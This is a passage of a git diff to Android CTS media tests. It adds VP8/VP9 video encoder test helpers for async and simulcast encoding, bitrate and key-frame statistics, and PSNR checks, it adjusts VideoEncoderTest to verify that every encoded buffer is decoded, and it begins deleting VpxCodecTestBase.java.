+ * @param streamParams Structure with encoder parameters
+ * @param codecConfigs List to be filled with codec config buffers
+ * @return Returns array of encoded frames information for each frame.
+ */
+ protected ArrayList<MediaCodec.BufferInfo> encodeAsync(
+ EncoderOutputStreamParameters streamParams,
+ ArrayList<ByteBuffer> codecConfigs) throws Exception {
+ if (!streamParams.runInLooperThread) {
+ throw new RuntimeException("encodeAsync should run with a looper thread!");
+ }
+
+ ArrayList<MediaCodec.BufferInfo> bufferInfos = new ArrayList<MediaCodec.BufferInfo>();
+ Log.d(TAG, "Source resolution: "+streamParams.frameWidth + " x " +
+ streamParams.frameHeight);
+ int bitrate = streamParams.bitrateSet[0];
+
+ // Create minimal media format signifying desired output.
+ MediaFormat format = MediaFormat.createVideoFormat(
+ streamParams.codecMimeType, streamParams.frameWidth,
+ streamParams.frameHeight);
+ format.setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+ CodecProperties properties = getVideoCodecProperties(
+ true, format, streamParams.forceGoogleEncoder);
+ if (properties == null) {
+ return null;
+ }
+
+ // Open input/output
+ IvfWriter ivf = new IvfWriter(
+ streamParams.outputIvfFilename, streamParams.codecMimeType,
+ streamParams.frameWidth, streamParams.frameHeight);
+
+ // Create a media format signifying desired output.
+ if (streamParams.bitrateType == VIDEO_ControlRateConstant) {
+ format.setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+ }
+ if (streamParams.temporalLayers > 0) {
+ format.setInteger("ts-layers", streamParams.temporalLayers); // 1 temporal layer
+ }
+ format.setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+ format.setInteger(MediaFormat.KEY_FRAME_RATE, streamParams.frameRate);
+ int syncFrameInterval = (streamParams.syncFrameInterval + streamParams.frameRate/2) /
+ streamParams.frameRate;
+ format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+
+ // Create encoder
+ Log.d(TAG, "Creating encoder " + properties.codecName +
+ ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+ streamParams.frameWidth + " x " + streamParams.frameHeight +
+ ". Bitrate: " + bitrate + " Bitrate type: " + streamParams.bitrateType +
+ ". Fps:" + streamParams.frameRate + ". TS Layers: " + streamParams.temporalLayers +
+ ". Key frame:" + syncFrameInterval * streamParams.frameRate +
+ ". Force keyFrame: " + streamParams.syncForceFrameInterval);
+ Log.d(TAG, " Format: " + format);
+ Log.d(TAG, " Output ivf:" + streamParams.outputIvfFilename);
+
+ MediaEncoderAsync codec = new MediaEncoderAsync();
+ MediaEncoderAsyncHelper helper = new MediaEncoderAsyncHelper(
+ streamParams, properties, bufferInfos, ivf, codecConfigs);
+
+ codec.setAsyncHelper(helper);
+ codec.createCodec(0, properties.codecName, format,
+ streamParams.timeoutDequeue, streamParams.runInLooperThread, streamParams.useNdk);
+ codec.waitForCompletion(DEFAULT_ENCODE_TIMEOUT_MS);
+
+ codec.deleteCodec();
+ ivf.close();
+
+ return bufferInfos;
+ }
+
+ /**
+ * Video encoding loop supporting encoding multiple streams at a time.
+ * Each output stream is described by encodingParams parameters allowing
+ * simultaneous encoding of various resolutions, bitrates with an option to
+ * control key frame and dynamic bitrate for each output stream indepandently.
+ *
+ * MediaCodec will raise an IllegalStateException
+ * whenever video encoder fails to encode a frame.
+ *
+ * Color format of input file should be YUV420, and frameWidth,
+ * frameHeight should be supplied correctly as raw input file doesn't
+ * include any header data.
+ *
+ * @param srcFrameWidth Frame width of input yuv file
+ * @param srcFrameHeight Frame height of input yuv file
+ * @param encodingParams Encoder parameters
+ * @param codecConfigs List to be filled with codec config buffers
+ * @return Returns 2D array of encoded frames information for each stream and
+ * for each frame.
+ */
+ protected ArrayList<ArrayList<MediaCodec.BufferInfo>> encodeSimulcast(
+ int srcFrameWidth,
+ int srcFrameHeight,
+ ArrayList<EncoderOutputStreamParameters> encodingParams,
+ ArrayList<ArrayList<ByteBuffer>> codecConfigs) throws Exception {
+ int numEncoders = encodingParams.size();
+
+ // Create arrays of input/output, formats, bitrates etc
+ ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos =
+ new ArrayList<ArrayList<MediaCodec.BufferInfo>>(numEncoders);
+ InputStream yuvStream[] = new InputStream[numEncoders];
+ IvfWriter[] ivf = new IvfWriter[numEncoders];
+ FileOutputStream[] yuvScaled = new FileOutputStream[numEncoders];
+ MediaFormat[] format = new MediaFormat[numEncoders];
+ MediaEncoderAsync[] codec = new MediaEncoderAsync[numEncoders];
+ int[] inputFrameIndex = new int[numEncoders];
+ boolean[] sawInputEOS = new boolean[numEncoders];
+ boolean[] consumedInputEOS = new boolean[numEncoders];
+ boolean[] inputConsumed = new boolean[numEncoders];
+ boolean[] bufferConsumed = new boolean[numEncoders];
+ boolean[] sawOutputEOS = new boolean[numEncoders];
+ byte[][] srcFrame = new byte[numEncoders][];
+ boolean sawOutputEOSTotal = false;
+ boolean bufferConsumedTotal = false;
+ CodecProperties[] codecProperties = new CodecProperties[numEncoders];
+
+ numEncoders = 0;
+ for (EncoderOutputStreamParameters params : encodingParams) {
+ int i = numEncoders;
+ Log.d(TAG, "Source resolution: " + params.frameWidth + " x " +
+ params.frameHeight);
+ int bitrate = params.bitrateSet[0];
+
+ // Create minimal media format signifying desired output.
+ format[i] = MediaFormat.createVideoFormat(
+ params.codecMimeType, params.frameWidth,
+ params.frameHeight);
+ format[i].setInteger(MediaFormat.KEY_BIT_RATE, bitrate);
+ CodecProperties properties = getVideoCodecProperties(
+ true, format[i], params.forceGoogleEncoder);
+ if (properties == null) {
+ continue;
+ }
+
+ // Check if scaled image was created
+ int scale = params.frameWidth / srcFrameWidth;
+ if (!mScaledImages.contains(scale)) {
+ // resize image
+ cacheScaledImage(params.inputYuvFilename, params.inputResourceId,
+ srcFrameWidth, srcFrameHeight,
+ params.scaledYuvFilename, params.frameWidth, params.frameHeight);
+ mScaledImages.add(scale);
+ }
+
+ // Create buffer info storage
+ bufferInfos.add(new ArrayList<MediaCodec.BufferInfo>());
+
+ // Create YUV reader
+ yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+
+ // Create IVF writer
+ ivf[i] = new IvfWriter(
+ params.outputIvfFilename, params.codecMimeType,
+ params.frameWidth, params.frameHeight);
+
+ // Frame buffer
+ int frameSize = params.frameWidth * params.frameHeight * 3 / 2;
+ srcFrame[i] = new byte[frameSize];
+
+ // Create a media format signifying desired output.
+ if (params.bitrateType == VIDEO_ControlRateConstant) {
+ format[i].setInteger("bitrate-mode", VIDEO_ControlRateConstant); // set CBR
+ }
+ if (params.temporalLayers > 0) {
+ format[i].setInteger("ts-layers", params.temporalLayers); // 1 temporal layer
+ }
+ format[i].setInteger(MediaFormat.KEY_COLOR_FORMAT, properties.colorFormat);
+ format[i].setInteger(MediaFormat.KEY_FRAME_RATE, params.frameRate);
+ int syncFrameInterval = (params.syncFrameInterval + params.frameRate/2) /
+ params.frameRate; // in sec
+ format[i].setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, syncFrameInterval);
+ // Create encoder
+ Log.d(TAG, "Creating encoder #" + i +" : " + properties.codecName +
+ ". Color format: 0x" + Integer.toHexString(properties.colorFormat)+ " : " +
+ params.frameWidth + " x " + params.frameHeight +
+ ". Bitrate: " + bitrate + " Bitrate type: " + params.bitrateType +
+ ". Fps:" + params.frameRate + ". TS Layers: " + params.temporalLayers +
+ ". Key frame:" + syncFrameInterval * params.frameRate +
+ ". Force keyFrame: " + params.syncForceFrameInterval);
+ Log.d(TAG, " Format: " + format[i]);
+ Log.d(TAG, " Output ivf:" + params.outputIvfFilename);
+
+ // Create encoder
+ codec[i] = new MediaEncoderAsync();
+ codec[i].createCodec(i, properties.codecName, format[i],
+ params.timeoutDequeue, params.runInLooperThread, params.useNdk);
+ codecProperties[i] = new CodecProperties(properties.codecName, properties.colorFormat);
+
+ inputConsumed[i] = true;
+ ++numEncoders;
+ }
+ if (numEncoders == 0) {
+ Log.i(TAG, "no suitable encoders found for any of the streams");
+ return null;
+ }
+
+ while (!sawOutputEOSTotal) {
+ // Feed input buffer to all encoders
+ for (int i = 0; i < numEncoders; i++) {
+ bufferConsumed[i] = false;
+ if (consumedInputEOS[i]) {
+ continue;
+ }
+
+ EncoderOutputStreamParameters params = encodingParams.get(i);
+ // Read new input buffers - if previous input was consumed and no EOS
+ if (inputConsumed[i] && !sawInputEOS[i]) {
+ int bytesRead = yuvStream[i].read(srcFrame[i]);
+
+ // Check EOS
+ if (params.frameCount > 0 && inputFrameIndex[i] >= params.frameCount) {
+ sawInputEOS[i] = true;
+ Log.d(TAG, "---Enc" + i +
+ ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+ }
+
+ if (!sawInputEOS[i] && bytesRead == -1) {
+ if (params.frameCount == 0) {
+ sawInputEOS[i] = true;
+ Log.d(TAG, "---Enc" + i +
+ ". Sending EOS empty frame for frame # " + inputFrameIndex[i]);
+ } else {
+ yuvStream[i].close();
+ yuvStream[i] = new FileInputStream(params.scaledYuvFilename);
+ bytesRead = yuvStream[i].read(srcFrame[i]);
+ }
+ }
+
+ // Convert YUV420 to NV12 if necessary
+ if (codecProperties[i].colorFormat !=
+ CodecCapabilities.COLOR_FormatYUV420Planar) {
+ srcFrame[i] =
+ YUV420ToNV(params.frameWidth, params.frameHeight, srcFrame[i]);
+ }
+ }
+
+ inputConsumed[i] = codec[i].feedInput(srcFrame[i], sawInputEOS[i]);
+ if (inputConsumed[i]) {
+ inputFrameIndex[i]++;
+ consumedInputEOS[i] = sawInputEOS[i];
+ bufferConsumed[i] = true;
+ }
+
+ }
+
+ // Get output from all encoders
+ for (int i = 0; i < numEncoders; i++) {
+ if (sawOutputEOS[i]) {
+ continue;
+ }
+
+ MediaEncoderOutput out = codec[i].getOutput();
+ if (out.outputGenerated) {
+ bufferConsumed[i] = true;
+ // Detect output EOS
+ if ((out.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
+ Log.d(TAG, "----Enc" + i + ". Output EOS ");
+ sawOutputEOS[i] = true;
+ }
+ if ((out.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) != 0) {
+ Log.d(TAG, "----Enc" + i + ". Storing codec config separately");
+ codecConfigs.get(i).add(
+ ByteBuffer.allocate(out.buffer.length).put(out.buffer));
+ out.buffer = new byte[0];
+ }
+
+ if (out.buffer.length > 0) {
+ // Save frame
+ ivf[i].writeFrame(out.buffer, out.outPresentationTimeUs);
+
+ // Update statistics - store presentation time delay in offset
+ long presentationTimeUsDelta = out.inPresentationTimeUs -
+ out.outPresentationTimeUs;
+ MediaCodec.BufferInfo bufferInfoCopy = new MediaCodec.BufferInfo();
+ bufferInfoCopy.set((int)presentationTimeUsDelta, out.buffer.length,
+ out.outPresentationTimeUs, out.flags);
+ bufferInfos.get(i).add(bufferInfoCopy);
+ }
+ }
+ }
+
+ // If codec is not ready to accept input/output - wait for buffer ready callback
+ bufferConsumedTotal = false;
+ for (boolean bufferConsumedCurrent : bufferConsumed) {
+ bufferConsumedTotal |= bufferConsumedCurrent;
+ }
+ if (!bufferConsumedTotal) {
+ // Pick the encoder to wait for
+ for (int i = 0; i < numEncoders; i++) {
+ if (!bufferConsumed[i] && !sawOutputEOS[i]) {
+ codec[i].waitForBufferEvent();
+ break;
+ }
+ }
+ }
+
+ // Check if EOS happened for all encoders
+ sawOutputEOSTotal = true;
+ for (boolean sawOutputEOSStream : sawOutputEOS) {
+ sawOutputEOSTotal &= sawOutputEOSStream;
+ }
+ }
+
+ for (int i = 0; i < numEncoders; i++) {
+ codec[i].deleteCodec();
+ ivf[i].close();
+ yuvStream[i].close();
+ if (yuvScaled[i] != null) {
+ yuvScaled[i].close();
+ }
+ }
+
+ return bufferInfos;
+ }
+
+ /**
+ * Some encoding statistics.
+ */
+ protected class VideoEncodingStatistics {
+ VideoEncodingStatistics() {
+ mBitrates = new ArrayList<Integer>();
+ mFrames = new ArrayList<Integer>();
+ mKeyFrames = new ArrayList<Integer>();
+ mMinimumKeyFrameInterval = Integer.MAX_VALUE;
+ }
+
+ public ArrayList<Integer> mBitrates;// Bitrate values for each second of the encoded stream.
+ public ArrayList<Integer> mFrames; // Number of frames in each second of the encoded stream.
+ public int mAverageBitrate; // Average stream bitrate.
+ public ArrayList<Integer> mKeyFrames;// Stores the position of key frames in a stream.
+ public int mAverageKeyFrameInterval; // Average key frame interval.
+ public int mMaximumKeyFrameInterval; // Maximum key frame interval.
+ public int mMinimumKeyFrameInterval; // Minimum key frame interval.
+ }
+
+ /**
+ * Calculates average bitrate and key frame interval for the encoded streams.
+ * Output mBitrates field will contain bitrate values for every second
+ * of the encoded stream.
+ * Average stream bitrate will be stored in mAverageBitrate field.
+ * mKeyFrames array will contain the position of key frames in the encoded stream and
+ * mKeyFrameInterval - average key frame interval.
+ */
+ protected VideoEncodingStatistics computeEncodingStatistics(int encoderId,
+ ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+ VideoEncodingStatistics statistics = new VideoEncodingStatistics();
+
+ int totalSize = 0;
+ int frames = 0;
+ int framesPerSecond = 0;
+ int totalFrameSizePerSecond = 0;
+ int maxFrameSize = 0;
+ int currentSecond;
+ int nextSecond = 0;
+ String keyFrameList = " IFrame List: ";
+ String bitrateList = " Bitrate list: ";
+ String framesList = " FPS list: ";
+
+
+ for (int j = 0; j < bufferInfos.size(); j++) {
+ MediaCodec.BufferInfo info = bufferInfos.get(j);
+ currentSecond = (int)(info.presentationTimeUs / 1000000);
+ boolean lastFrame = (j == bufferInfos.size() - 1);
+ if (!lastFrame) {
+ nextSecond = (int)(bufferInfos.get(j+1).presentationTimeUs / 1000000);
+ }
+
+ totalSize += info.size;
+ totalFrameSizePerSecond += info.size;
+ maxFrameSize = Math.max(maxFrameSize, info.size);
+ framesPerSecond++;
+ frames++;
+
+ // Update the bitrate statistics if the next frame will
+ // be for the next second
+ if (lastFrame || nextSecond > currentSecond) {
+ int currentBitrate = totalFrameSizePerSecond * 8;
+ bitrateList += (currentBitrate + " ");
+ framesList += (framesPerSecond + " ");
+ statistics.mBitrates.add(currentBitrate);
+ statistics.mFrames.add(framesPerSecond);
+ totalFrameSizePerSecond = 0;
+ framesPerSecond = 0;
+ }
+
+ // Update key frame statistics.
+ if ((info.flags & MediaCodec.BUFFER_FLAG_SYNC_FRAME) != 0) {
+ statistics.mKeyFrames.add(j);
+ keyFrameList += (j + " ");
+ }
+ }
+ int duration = (int)(bufferInfos.get(bufferInfos.size() - 1).presentationTimeUs / 1000);
+ duration = (duration + 500) / 1000;
+ statistics.mAverageBitrate = (int)(((long)totalSize * 8) / duration);
+ Log.d(TAG, "Statistics for encoder # " + encoderId);
+ // Calculate average key frame interval in frames.
+ int keyFrames = statistics.mKeyFrames.size();
+ if (keyFrames > 1) {
+ statistics.mAverageKeyFrameInterval =
+ statistics.mKeyFrames.get(keyFrames - 1) - statistics.mKeyFrames.get(0);
+ statistics.mAverageKeyFrameInterval =
+ Math.round((float)statistics.mAverageKeyFrameInterval / (keyFrames - 1));
+ for (int j = 1; j < keyFrames; j++) {
+ int keyFrameInterval =
+ statistics.mKeyFrames.get(j) - statistics.mKeyFrames.get(j - 1);
+ statistics.mMaximumKeyFrameInterval =
+ Math.max(statistics.mMaximumKeyFrameInterval, keyFrameInterval);
+ statistics.mMinimumKeyFrameInterval =
+ Math.min(statistics.mMinimumKeyFrameInterval, keyFrameInterval);
+ }
+ Log.d(TAG, " Key frame intervals: Max: " + statistics.mMaximumKeyFrameInterval +
+ ". Min: " + statistics.mMinimumKeyFrameInterval +
+ ". Avg: " + statistics.mAverageKeyFrameInterval);
+ }
+ Log.d(TAG, " Frames: " + frames + ". Duration: " + duration +
+ ". Total size: " + totalSize + ". Key frames: " + keyFrames);
+ Log.d(TAG, keyFrameList);
+ Log.d(TAG, bitrateList);
+ Log.d(TAG, framesList);
+ Log.d(TAG, " Bitrate average: " + statistics.mAverageBitrate);
+ Log.d(TAG, " Maximum frame size: " + maxFrameSize);
+
+ return statistics;
+ }
+
+ protected VideoEncodingStatistics computeEncodingStatistics(
+ ArrayList<MediaCodec.BufferInfo> bufferInfos ) {
+ return computeEncodingStatistics(0, bufferInfos);
+ }
+
+ protected ArrayList<VideoEncodingStatistics> computeSimulcastEncodingStatistics(
+ ArrayList<ArrayList<MediaCodec.BufferInfo>> bufferInfos) {
+ int numCodecs = bufferInfos.size();
+ ArrayList<VideoEncodingStatistics> statistics = new ArrayList<VideoEncodingStatistics>();
+
+ for (int i = 0; i < numCodecs; i++) {
+ VideoEncodingStatistics currentStatistics =
+ computeEncodingStatistics(i, bufferInfos.get(i));
+ statistics.add(currentStatistics);
+ }
+ return statistics;
+ }
+
+ /**
+ * Calculates maximum latency for encoder/decoder based on buffer info array
+ * generated either by encoder or decoder.
+ */
+ protected int maxPresentationTimeDifference(ArrayList<MediaCodec.BufferInfo> bufferInfos) {
+ int maxValue = 0;
+ for (MediaCodec.BufferInfo bufferInfo : bufferInfos) {
+ maxValue = Math.max(maxValue, bufferInfo.offset);
+ }
+ maxValue = (maxValue + 500) / 1000; // mcs -> ms
+ return maxValue;
+ }
+
+ /**
+ * Decoding PSNR statistics.
+ */
+ protected class VideoDecodingStatistics {
+ VideoDecodingStatistics() {
+ mMinimumPSNR = Integer.MAX_VALUE;
+ }
+ public double mAveragePSNR;
+ public double mMinimumPSNR;
+ }
+
+ /**
+ * Calculates PSNR value between two video frames.
+ */
+ private double computePSNR(byte[] data0, byte[] data1) {
+ long squareError = 0;
+ assertTrue(data0.length == data1.length);
+ int length = data0.length;
+ for (int i = 0 ; i < length; i++) {
+ int diff = ((int)data0[i] & 0xff) - ((int)data1[i] & 0xff);
+ squareError += diff * diff;
+ }
+ double meanSquareError = (double)squareError / length;
+ double psnr = 10 * Math.log10((double)255 * 255 / meanSquareError);
+ return psnr;
+ }
+
+ /**
+ * Calculates average and minimum PSNR values between
+ * set of reference and decoded video frames.
+ * Runs PSNR calculation for the full duration of the decoded data.
+ */
+ protected VideoDecodingStatistics computeDecodingStatistics(
+ String referenceYuvFilename,
+ int referenceYuvRawId,
+ String decodedYuvFilename,
+ int width,
+ int height) throws Exception {
+ VideoDecodingStatistics statistics = new VideoDecodingStatistics();
+ InputStream referenceStream =
+ OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
+ InputStream decodedStream = new FileInputStream(decodedYuvFilename);
+
+ int ySize = width * height;
+ int uvSize = width * height / 4;
+ byte[] yRef = new byte[ySize];
+ byte[] yDec = new byte[ySize];
+ byte[] uvRef = new byte[uvSize];
+ byte[] uvDec = new byte[uvSize];
+
+ int frames = 0;
+ double averageYPSNR = 0;
+ double averageUPSNR = 0;
+ double averageVPSNR = 0;
+ double minimumYPSNR = Integer.MAX_VALUE;
+ double minimumUPSNR = Integer.MAX_VALUE;
+ double minimumVPSNR = Integer.MAX_VALUE;
+ int minimumPSNRFrameIndex = 0;
+
+ while (true) {
+ // Calculate Y PSNR.
+ int bytesReadRef = referenceStream.read(yRef);
+ int bytesReadDec = decodedStream.read(yDec);
+ if (bytesReadDec == -1) {
+ break;
+ }
+ if (bytesReadRef == -1) {
+ // Reference file wrapping up
+ referenceStream.close();
+ referenceStream =
+ OpenFileOrResourceId(referenceYuvFilename, referenceYuvRawId);
+ bytesReadRef = referenceStream.read(yRef);
+ }
+ double curYPSNR = computePSNR(yRef, yDec);
+ averageYPSNR += curYPSNR;
+ minimumYPSNR = Math.min(minimumYPSNR, curYPSNR);
+ double curMinimumPSNR = curYPSNR;
+
+ // Calculate U PSNR.
+ bytesReadRef = referenceStream.read(uvRef);
+ bytesReadDec = decodedStream.read(uvDec);
+ double curUPSNR = computePSNR(uvRef, uvDec);
+ averageUPSNR += curUPSNR;
+ minimumUPSNR = Math.min(minimumUPSNR, curUPSNR);
+ curMinimumPSNR = Math.min(curMinimumPSNR, curUPSNR);
+
+ // Calculate V PSNR.
+ bytesReadRef = referenceStream.read(uvRef);
+ bytesReadDec = decodedStream.read(uvDec);
+ double curVPSNR = computePSNR(uvRef, uvDec);
+ averageVPSNR += curVPSNR;
+ minimumVPSNR = Math.min(minimumVPSNR, curVPSNR);
+ curMinimumPSNR = Math.min(curMinimumPSNR, curVPSNR);
+
+ // Frame index for minimum PSNR value - help to detect possible distortions
+ if (curMinimumPSNR < statistics.mMinimumPSNR) {
+ statistics.mMinimumPSNR = curMinimumPSNR;
+ minimumPSNRFrameIndex = frames;
+ }
+
+ String logStr = String.format(Locale.US, "PSNR #%d: Y: %.2f. U: %.2f. V: %.2f",
+ frames, curYPSNR, curUPSNR, curVPSNR);
+ Log.v(TAG, logStr);
+
+ frames++;
+ }
+
+ averageYPSNR /= frames;
+ averageUPSNR /= frames;
+ averageVPSNR /= frames;
+ statistics.mAveragePSNR = (4 * averageYPSNR + averageUPSNR + averageVPSNR) / 6;
+
+ Log.d(TAG, "PSNR statistics for " + frames + " frames.");
+ String logStr = String.format(Locale.US,
+ "Average PSNR: Y: %.1f. U: %.1f. V: %.1f. Average: %.1f",
+ averageYPSNR, averageUPSNR, averageVPSNR, statistics.mAveragePSNR);
+ Log.d(TAG, logStr);
+ logStr = String.format(Locale.US,
+ "Minimum PSNR: Y: %.1f. U: %.1f. V: %.1f. Overall: %.1f at frame %d",
+ minimumYPSNR, minimumUPSNR, minimumVPSNR,
+ statistics.mMinimumPSNR, minimumPSNRFrameIndex);
+ Log.d(TAG, logStr);
+
+ referenceStream.close();
+ decodedStream.close();
+ return statistics;
+ }
+}
diff --git a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
index 4196686..e01412e 100644
--- a/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoEncoderTest.java
@@ -75,6 +75,10 @@
private LinkedList<Pair<ByteBuffer, BufferInfo>> mStream;
private MediaFormat mFormat;
private int mInputBufferSize;
+ // Media buffers(no CSD, no EOS) enqueued.
+ private int mMediaBuffersEnqueuedCount;
+ // Media buffers decoded.
+ private int mMediaBuffersDecodedCount;
public VideoStorage() {
mStream = new LinkedList<Pair<ByteBuffer, BufferInfo>>();
@@ -93,6 +97,9 @@
BufferInfo savedInfo = new BufferInfo();
savedInfo.set(0, savedBuffer.position(), info.presentationTimeUs, info.flags);
mStream.addLast(Pair.create(savedBuffer, savedInfo));
+ if (info.size > 0 && (info.flags & MediaCodec.BUFFER_FLAG_CODEC_CONFIG) == 0) {
+ ++mMediaBuffersEnqueuedCount;
+ }
}
private void play(MediaCodec decoder, Surface surface) {
@@ -101,6 +108,9 @@
final Iterator<Pair<ByteBuffer, BufferInfo>> it = mStream.iterator();
decoder.setCallback(new MediaCodec.Callback() {
public void onOutputBufferAvailable(MediaCodec codec, int ix, BufferInfo info) {
+ if (info.size > 0) {
+ ++mMediaBuffersDecodedCount;
+ }
codec.releaseOutputBuffer(ix, info.size > 0);
if ((info.flags & MediaCodec.BUFFER_FLAG_END_OF_STREAM) != 0) {
synchronized (condition) {
@@ -146,17 +156,25 @@
}
}
decoder.stop();
+ // All enqueued media data buffers should have got decoded.
+ if (mMediaBuffersEnqueuedCount != mMediaBuffersDecodedCount) {
+ Log.i(TAG, "mMediaBuffersEnqueuedCount:" + mMediaBuffersEnqueuedCount);
+ Log.i(TAG, "mMediaBuffersDecodedCount:" + mMediaBuffersDecodedCount);
+ fail("not all enqueued encoded media buffers were decoded");
+ }
+ mMediaBuffersDecodedCount = 0;
}
- public void playAll(Surface surface) {
+ public boolean playAll(Surface surface) {
+ boolean skipped = true;
if (mFormat == null) {
Log.i(TAG, "no stream to play");
- return;
+ return !skipped;
}
String mime = mFormat.getString(MediaFormat.KEY_MIME);
MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
for (MediaCodecInfo info : mcl.getCodecInfos()) {
- if (info.isEncoder()) {
+ if (info.isEncoder() || info.isAlias()) {
continue;
}
MediaCodec codec = null;
@@ -171,7 +189,9 @@
}
play(codec, surface);
codec.release();
+ skipped = false;
}
+ return !skipped;
}
}
@@ -405,9 +425,7 @@
}
}
- public void playBack(Surface surface) {
- mEncodedStream.playAll(surface);
- }
+ public boolean playBack(Surface surface) { return mEncodedStream.playAll(surface); }
public void setFrameAndBitRates(int frameRate, int bitRate) {
mFrameRate = frameRate;
@@ -1147,7 +1165,7 @@
boolean success = processor.processLoop(
SOURCE_URL, mMime, mName, width, height, optional);
if (success) {
- processor.playBack(getActivity().getSurfaceHolder().getSurface());
+ success = processor.playBack(getActivity().getSurfaceHolder().getSurface());
}
return success;
}
@@ -1195,7 +1213,7 @@
ArrayList<Encoder> result = new ArrayList<Encoder>();
for (MediaCodecInfo info : mcl.getCodecInfos()) {
- if (!info.isEncoder() || !info.isVendor() != goog) {
+ if (!info.isEncoder() || !info.isVendor() != goog || info.isAlias()) {
continue;
}
CodecCapabilities caps = null;
diff --git a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java b/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
deleted file mode 100644
index a18a9d5..0000000
--- a/tests/tests/media/src/android/media/cts/VpxCodecTestBase.java
+++ /dev/null
@@ -1,2043 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.content.Context;
-import android.content.res.Resources;
-import android.media.MediaCodec;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaCodecInfo;
-import android.media.MediaFormat;
-import android.os.Bundle;
-import android.os.Environment;
-import android.os.Looper;
-import android.os.Handler;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.media.cts.R;
-
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.FileOutputStream;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.util.Locale;
-import java.util.ArrayList;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-
-/**
- * Verification test for vpx encoder and decoder.
- *
- * A raw yv12 stream is encoded at various settings and written to an IVF
- * file. Encoded stream bitrate and key frame interval are checked against target values.
- * The stream is later decoded by the decoder to verify frames are decodable and to
- * calculate PSNR values for various bitrates.
- */
-public class VpxCodecTestBase extends AndroidTestCase {
-
- protected static final String TAG = "VPxCodecTestBase";
- protected static final String VP8_MIME = MediaFormat.MIMETYPE_VIDEO_VP8;
- protected static final String VP9_MIME = MediaFormat.MIMETYPE_VIDEO_VP9;
- protected static final String SDCARD_DIR =
- Environment.getExternalStorageDirectory().getAbsolutePath();
-
- // Default timeout for MediaCodec buffer dequeue - 200 ms.
- protected static final long DEFAULT_DEQUEUE_TIMEOUT_US = 200000;
- // Default timeout for MediaEncoderAsync - 30 sec.
- protected static final long DEFAULT_ENCODE_TIMEOUT_MS = 30000;
- // Default sync frame interval in frames
- private static final int SYNC_FRAME_INTERVAL = 30;
- // Video bitrate type - should be set to OMX_Video_ControlRateConstant from OMX_Video.h
- protected static final int VIDEO_ControlRateVariable = 1;
- protected static final int VIDEO_ControlRateConstant = 2;
- // NV12 color format supported by QCOM codec, but not declared in MediaCodec -
- // see /hardware/qcom/media/mm-core/inc/OMX_QCOMExtns.h
- private static final int COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m = 0x7FA30C04;
- // Allowable color formats supported by codec - in order of preference.
- private static final int[] mSupportedColorList = {
- CodecCapabilities.COLOR_FormatYUV420Planar,
- CodecCapabilities.COLOR_FormatYUV420SemiPlanar,
- CodecCapabilities.COLOR_QCOM_FormatYUV420SemiPlanar,
- COLOR_QCOM_FORMATYUV420PackedSemiPlanar32m
- };
- // Scaled image cache list - contains scale factors, for which up-scaled frames
- // were calculated and were written to yuv file.
- ArrayList<Integer> mScaledImages = new ArrayList<Integer>();
-
- private Resources mResources;
-
- @Override
- public void setContext(Context context) {
- super.setContext(context);
- mResources = mContext.getResources();
- }
-
- /**
- * VPx codec properties generated by getVpxCodecProperties() function.
- */
- private class CodecProperties {
- CodecProperties(String codecName, int colorFormat) {
- this.codecName = codecName;
- this.colorFormat = colorFormat;
- }
- public final String codecName; // OpenMax component name for VPx codec.
- public final int colorFormat; // Color format supported by codec.
- }
-
- /**
- * Function to find VPx codec.
- *
- * Iterates through the list of available codecs and tries to find
- * VPX codec, which can support either YUV420 planar or NV12 color formats.
- * If forceGoogleCodec parameter set to true the function always returns
- * Google VPX codec.
- * If forceGoogleCodec parameter set to false the functions looks for platform
- * specific VPX codec first. If no platform specific codec exist, falls back to
- * Google VPX codec.
- *
- * @param isEncoder Flag if encoder is requested.
- * @param forceGoogleCodec Forces to use Google codec.
- */
- private CodecProperties getVpxCodecProperties(
- boolean isEncoder,
- MediaFormat format,
- boolean forceGoogleCodec) throws Exception {
- CodecProperties codecProperties = null;
- String mime = format.getString(MediaFormat.KEY_MIME);
-
- // Loop through the list of codec components in case platform specific codec
- // is requested.
- MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
- for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
- if (isEncoder != codecInfo.isEncoder()) {
- continue;
- }
- Log.v(TAG, codecInfo.getName());
- // TODO: remove dependence of Google from the test
- // Check if this is Google codec - we should ignore it.
- if (codecInfo.isVendor() && forceGoogleCodec) {
- continue;
- }
-
